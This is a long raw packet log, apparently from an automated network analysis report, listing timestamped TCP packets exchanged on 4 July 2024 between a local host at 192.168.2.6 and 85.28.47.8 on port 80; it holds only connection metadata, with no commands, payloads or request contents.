                                                              Jul 4, 2024 11:16:14.990226984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990256071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.990485907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990497112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990508080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990520000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990530968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990531921 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.990542889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990555048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990561008 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.990566015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990576982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.990578890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990605116 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.990627050 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.990811110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990823030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990833044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990845919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990856886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990858078 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.990875959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990886927 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.990888119 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990901947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990914106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990923882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.990923882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.990952015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.990967035 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.991101980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.991115093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.991159916 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.063340902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.063357115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.063368082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.063380957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.063400030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.063410997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.063421965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.063440084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.063462019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.063488007 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.063503027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.077950001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.077969074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.077975988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.077981949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.077992916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.077997923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078003883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078016043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078028917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078039885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078051090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078063011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078073025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078093052 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078131914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078134060 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078145027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078157902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078169107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078171015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078181982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078192949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078201056 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078206062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078217983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078229904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078231096 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078242064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078243971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078269005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078274965 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078318119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078404903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078418970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078429937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078440905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078453064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078457117 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078465939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078481913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078486919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078495979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078499079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078542948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078699112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078711033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078721046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078733921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078744888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078752041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078758001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078769922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078780890 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078782082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078802109 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078803062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078818083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.078823090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.078855991 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079029083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079041004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079051018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079061985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079072952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079083920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079086065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079097033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079097033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079108953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079113960 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079124928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079135895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079147100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079154968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079169989 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079297066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079308987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079320908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079348087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079365015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079441071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079452991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079463959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079477072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079488039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079514980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079591990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079611063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079622984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079634905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079646111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079653978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079658985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079672098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079673052 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079695940 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079777002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079788923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079798937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079823017 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079845905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079848051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079859018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079870939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079890013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079901934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079906940 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079915047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079926968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079932928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079946995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079948902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.079960108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079972982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.079982996 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080009937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080229998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080241919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080252886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080264091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080281973 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080308914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080379963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080390930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080401897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080413103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080425024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080427885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080436945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080456018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080461979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080471992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080488920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080490112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080502987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080512047 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080516100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080529928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080537081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080542088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080554008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080566883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080575943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080576897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080590963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080601931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080602884 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080622911 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080636024 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.080979109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.080990076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.081001997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.081031084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.124149084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.153573990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.153585911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.153597116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.153637886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.153649092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.153680086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.153678894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.153696060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.153707027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.153723001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.153745890 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.168519020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168543100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168555021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168616056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168617964 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.168627977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168642998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168654919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168673992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.168687105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.168766975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168780088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168798923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168807983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168818951 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.168821096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168848038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.168863058 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.168900013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168912888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.168951035 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169040918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169056892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169069052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169080019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169091940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169104099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169106007 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169117928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169130087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169150114 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169200897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169210911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169223070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169238091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169254065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169260025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169274092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169285059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169296980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169348001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169348001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169507027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169523954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169534922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169545889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169557095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169564009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169569016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169580936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169598103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169605970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169656038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169814110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169823885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169833899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169846058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169855118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169861078 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169867039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169879913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169881105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169892073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169903994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169905901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169929028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169930935 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.169935942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169941902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169949055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169955015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169960022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.169975996 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170006037 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170311928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170324087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170336008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170363903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170377970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170480013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170495033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170514107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170525074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170531034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170536041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170536995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170542955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170553923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170564890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170574903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170583010 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170586109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170595884 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170598984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170609951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170613050 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170622110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170634985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170644999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170650005 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170663118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170686007 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170898914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170908928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170918941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170928955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170939922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170957088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170968056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170978069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.170984983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.170996904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171005011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171009064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171019077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171022892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171039104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171045065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171049118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171086073 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171276093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171278000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171283007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171324015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.171413898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171425104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171437025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171453953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171467066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.171474934 CEST4972380192.168.2.685.28.47.8
